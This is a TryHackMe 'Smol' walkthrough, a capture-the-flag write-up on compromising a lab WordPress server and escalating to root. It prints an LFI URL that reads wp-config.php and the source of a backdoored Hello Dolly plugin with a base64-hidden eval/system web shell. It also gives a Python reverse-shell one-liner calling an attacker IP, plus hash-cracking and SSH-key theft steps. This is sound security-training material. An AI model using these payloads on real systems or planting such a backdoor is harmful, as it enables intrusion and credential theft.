Smol - TryHackMe - Walkthrough
This room involves finding a public exploit, abusing it to obtain a backdoor and doing privilege esclation to get root.
Description
This is a Write-Up for the room Smol with a difficult level of medium on the TryHackMe platform. You can visit the room here.
The room provides us with a informative description.
At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.
Quick Tips: Do you know that on computers without GPU like the AttackBox, John The Ripper is faster than Hashcat?
Note: Please allow 4 minutes for the VM to fully boot up.
Initial Recon
As always I started with a nmap
scan. I found out that two ports are open:
1
2
3
4
5
6
7
8
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.thm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
19124/tcp filtered unknown no-response
The next thing I did is adding the IP address and domain to my /etc/hosts
file.
1
10.10.52.188 www.smol.thm
The URL, which we can see at the top, looks like a typical WordPress application.
Exploiting the LFI
The next thing I did is running wpscan
, this tool will enumerate the WordPress installation and looks for plugins, versions and more.
1
wpscan --url http://www.smol.thm/
Note: I changed my virtual machine from Parrot to Kali, because the tool is by default installed on that distribution and doesn’t require setup.
I went through the output and found this plugin, I searched online for any known exploits.
This looks like the vulnerability we are searching for, I next checked the links related to this vulnerability and found this PoC exploit.
Apparently we can simply read the wp-config.php
file which includes the database credentials and other information. I modified the URL from the PoC to http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
, this should give me the content of the config file.
With that we got a password and a username from the config file. The next thing to do is checking the users present on the WordPress site. I used wpscan
for that again:
1
wpscan --url http://www.smol.thm/ --enumerate u
We got the following users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[i] User(s) Identified:
[+] Jose Mario Llado Marti
| Found By: Rss Generator (Passive Detection)
[+] wordpress user
| Found By: Rss Generator (Passive Detection)
[+] admin
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] think
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] wp
| Found By: Wp Json Api (Aggressive Detection)
| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] diego
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] gege
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] xavi
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
This is quite a long list of users. I firstly tried the password we already discovered in the wp-config.php
file for the user wpuser. The wpscan
for users confirms that we should try these credentials, because there is a user named wordpress user
. So I logged in with these credentials which gave us access to the authors page of WordPress.
Backdoor
I went through the WordPress pages and found a interesting private post.
The first bullet point looks interesting: There is a backdoor described inside the Hello Dolly
plugin. I firstly googled what this plugin is. This plugin is an ancient plugin with no actual purpose, this is an ideal place for a backdoor. With some research I found out that the plugin lives under this URL: http://www.smol.thm/wp-content/plugins/hello.php
, it doesn’t really display anything, but we already have LFI to view files, so why not viewing the source code of this plugin. You can use this URL:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
The code of that file looks suspicious (I truncated unnecessary lines):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function hello_dolly_get_lyric() {
/** These are the lyrics to Hello Dolly */
$lyrics = "NOTIMPORTANT";
// Here we split it into lines.
$lyrics = explode( "\n", $lyrics );
// And then randomly choose a line.
return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
$chosen = hello_dolly_get_lyric();
$lang = '';
if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
$lang = ' lang="en"';
}
printf(
'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
$lang,
$chosen
);
}
// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph.
function dolly_css() {
echo "
<NONSENSESTYLE>
";
}
add_action( 'admin_head', 'dolly_css' );
The eval looks particularly malicious, which is why I decoded the base64
. The code which is run by the eval is a check whether the parameter \143\155\x64
exists, if it exists it’s used with the system command, which can execute code.
1
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
This looks like a backdoor we can abuse. I next tried to figure out what that means. The first two chars we can simply decode with Cyberchef with the From Octal
method. The decoded characters are cm
, in python we can run chr(0x64)
which shows that this is a d
, so the parameter we can use is cmd
.
I next found out that the hello.php
file and the function hello_dolly
is called whenever we load the wp-admin
page. So to get our reverse shell we can add the cmd parameter to the /wp-admin
page and execute commands. T check if that works I first tried to curl
my IP.
This works, which is why the next thing to do is getting a reverse shell. I used a encoded payload to escape the URL encoding problem. To do that I first created a file with my Python payload:
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
.. and generated the payload with:
1
echo "echo `cat payload.txt | base64 | tr -d '\n'` | base64 -d | bash"
I pasted the whole output of the command as the cmd
parameter and got the reverse shell.
Privilege Escalation
diego
The first thing to do now is stabilizing the reverse shell.
I next logged into the mysql
database and checked the users and passwords:
1
2
use wordpress;
select user_login,user_pass from wp_users;
We got a list of hashes:
1
2
3
4
5
6
7
8
9
10
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
+------------+------------------------------------+
Let’s try to crack them. I transferred the hashes to my host inside a file and used john (self-build from GitHub repository) to ‘crack’ them.
1
./john --format=phpass --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt wordpress.txt
JohnTheRipper found one password, which success fully worked for the user diego
on the machine:
Users on the machine:
1
2
3
4
5
6
www-data@smol:/var/www/wordpress$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/usr/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash
With that we could get the user flag.
1
2
diego@smol:~$ cat user.txt
FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE
think
As the user diego, we have access to every home folder because we are in the internal group.
1
2
3
4
5
6
7
8
diego@smol:~$ id
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)
diego@smol:~$ ls -lh /home/
total 16K
drwxr-x--- 2 diego internal 4.0K Aug 18 2023 diego
drwxr-x--- 2 gege internal 4.0K Aug 18 2023 gege
drwxr-x--- 5 think internal 4.0K Jan 12 2024 think
drwxr-x--- 2 xavi internal 4.0K Aug 18 2023 xavi
With that we can read the id_rsa
key of the user think:
1
2
3
diego@smol:/home/think/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
I copied the key to my machine and set the permissions right (chmod 600 id_rsa
). Now we got a useable shell on the machine.
1
2
3
4
5
$ ssh -i id_rsa think@10.10.52.188
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
...
Last login: Sat Jan 25 11:43:17 2025 from 10.14.78.229
think@smol:~$
gege
Now I tried finding other passwords on the server. In the /opt
folder there is a SQL file, which includes passwords which differ from the passwords from mysql
.
1
2
3
4
5
6
7
think@smol:/opt$ cat wp_backup.sql | grep '\$P\$' | grep -o "'\$P\$[A-Za-z0-9./]\{31\}'" | tr -d "'"
$P$Bvi8BHb84pjY/Kw0RWsOXUXsQ1aACL1
$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
$P$B0jO/cdGOCZhlAJfPSqV2gVi2pb7Vd/
$P$BsIY1w5krnhP3WvURMts0/M4FwiG0m1
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
$P$BvcalhsCfVILp2SgttADny40mqJZCN/
I now tried cracking them too. After about 10 minutes with my RTX 3060
, I got this password:
I tired it for gege, but wait what?
1
2
think@smol:/opt$ su gege
gege@smol:/opt$
We didn’t even need a password for gege.
Note: We need the password in the next step, so don’t skip cracking it.
xavi
I next checked the home folder and found a zip archive with old Wordpress data, this may include credentials, to extract this file we need a password, I tried the password we cracked for the user gege and it simply worked:
1
2
3
4
5
6
gege@smol:~$ ls
wordpress.old.zip
gege@smol:~$ unzip wordpress.old.zip
Archive: wordpress.old.zip
creating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password:
The wp-config.php
file contained some now credentials:
1
2
3
4
5
6
7
gege@smol:~/wordpress.old$ cat wp-config.php | grep 'DB'
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'xavi' );
define( 'DB_PASSWORD', 'FAKEPWD' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
I tired the credentials for the user xavi, this gave me a shell as xavi.
root
Finally we need to get root, I checked xavi’s sudo
rights and found out that he can run anything as root:
1
2
3
4
5
6
7
xavi@smol:/home/gege/wordpress.old$ sudo -l
Matching Defaults entries for xavi on smol:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User xavi may run the following commands on smol:
(ALL : ALL) ALL
With that we were able to get the root flag:
1
2
xavi@smol:/home/gege/wordpress.old$ sudo cat /root/root.txt
FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE
This challenge involved many steps and was all in all a nice box.